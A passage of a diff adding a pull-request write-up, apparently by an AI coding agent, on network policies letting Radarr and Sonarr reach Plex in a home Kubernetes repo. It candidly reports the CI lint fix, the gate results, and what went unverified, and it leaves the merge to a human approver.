+| reciprocal ingress | `plex-allow-radarr-32400` | `apps/wave-0/plex.yaml` |
+| reciprocal ingress | `plex-allow-sonarr-32400` | `apps/wave-0/plex.yaml` |
+
+Three commits, and the middle two are worth recording because both were self-inflicted
+gate failures rather than design changes:
+
+- `753c48b` — the catalog edit alone, with `apps/` left unrendered.
+- `9048c2f` — re-rendered `apps/` from the catalog, which `render==golden` requires.
+- `58f02fe` — removed 20 trailing spaces on `catalog/radarr.yaml:103`, left behind as
+  comment-alignment padding when the comment moved down to the `port:` line. Sonarr's
+  equivalent line kept its comment in place, which is why only radarr tripped.
+
+## What I verified
+
+**The lint failure, root-caused.** Gate run 193 on `9048c2f` failed with
+`[fail] lint: FAILED -> blocks merge`, and lint was the only failing stage. yamllint
+emitted 419 findings, but **418 were `line-length`**, which `ci/yamllint.yaml` pins at
+`level: warning` and which therefore cannot change the exit code. The single error-level
+finding in the entire repository was:
+
+    catalog/radarr.yaml
+      103:13    error    trailing spaces  (trailing-spaces)
+
+`trailing-spaces` inherits the default severity (error), so that one line returned rc 1.
+After the fix, `git grep -nIE ' +$' -- '*.yaml' '*.yml'` matches nothing repo-wide.
+
+**Gate run 195 on `58f02fe`** (read from the job log, not from the status tick):
+
+    [ ok ] approval-policy: green     [ ok ] l0: green
+    [ ok ] gitea-settings: green      [ ok ] render-golden: green
+    [ ok ] decisions-log: green       [ ok ] l1: green
+    [ ok ] lint: green
+    [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+    [fail]   Stages that did not run: spec-immutability
+
+The Gitea check reports `success` / "Successful in 1m41s", but the gate's own verdict is
+**UNDETERMINED (rc 3)**, not PASS. That tick is `gate.yml` tolerating exit 3 for the one
+stage it documents as unverifiable on this runner (the spec repo is not checked out
+there). Nothing else produced a 3.
+
+**`render==golden` green** on `58f02fe`, so `apps/` is a faithful canonical render of
+`catalog/` — the four generated policies are not hand-written drift.
+
+**DNS egress was already open** and is not a new gap: `apps/wave-1/radarr.yaml` carries
+an existing allow for port 53 UDP+TCP, so resolving the Plex service name does not need
+anything added here.
+
+**Live branch protection on `main`**, measured against
+`/api/v1/repos/Home-Network/home-network-k3s-impl/branches/main` rather than assumed:
+`protected: true`, `user_can_push: false`, `enable_status_check: true`,
+`status_check_contexts: ['gate / gate (pull_request)']`, `required_approvals: 1`.
+
+## What I did NOT verify
+
+**This change does not accomplish what the PR set out to do.** It opens the network path
+and nothing else. Triggering a library update also requires each arr's
+*Settings → Connect → Plex Media Server* entry plus a Plex token, and **none of that
+exists anywhere in `catalog/` or `apps/`** — I grepped both for `plex`, `token` and
+`connect` and found only NFS paths, a uid and a timezone. Radarr's and Sonarr's config
+lives on a 5Gi Longhorn PVC mounted at `/config`, so that connection is UI-only state
+that exists solely on the PVC and never in git, in the same way Crafty's local login
+does. **Until somebody adds it in each app's UI, Plex still will not see library
+updates, and this branch will look like it did nothing.** That follow-up is not tracked
+by any file in this PR.
+
+**L2/L3 conformance never ran.** `CLUSTER_AVAILABLE` is unset on the runner, so the
+eight requirements this diff touches — `R-NET-01`, `R-NET-05`, `R-NET-06`, `R-NET-07`,
+`R-IDP-02`, `R-IDP-06`, `R-GITOPS-02`, `R-PLAT-02` — are **UNVERIFIED**. That gap is
+unusually load-bearing here: the entire substance of this change is four
+CiliumNetworkPolicies, and no test has confirmed that traffic from the `radarr` or
+`sonarr` namespaces actually reaches `plex:32400`. The green gate proves the offline
+render subset only.
+
+**`spec-immutability` did not run** (`R-TEST-06` not verified), for the documented
+reason — the sibling spec repo is absent from the runner.
+
+**Nothing was checked on the cluster.** I ran no `kubectl`, so I did not confirm that
+the `plex` Service exposes 32400 as the arrs would address it, that the pod labels the
+policies select (`app.kubernetes.io/name`, `k8s:io.kubernetes.pod.namespace`) match the
+running pods, or that Cilium accepted the four new objects. Flux has not applied any of
+this: the branch is unmerged, so `.status.lastAppliedRevision` does not contain it.
+
+**I did not verify Plex's own side** — whether its library-update endpoint on 32400 is
+the right target for the arrs' notification, or whether Plex requires
+"Update my library automatically" enabled to act on one.
+
+**I am not the approver and did not approve this PR.** `required_approvals: 1` is live,
+and the only credential on the authoring workstation belongs to the PR's author
+(`jakman85`), whose own review Gitea does not count. Per CLAUDE.md §1 the merge is a
+human action regardless.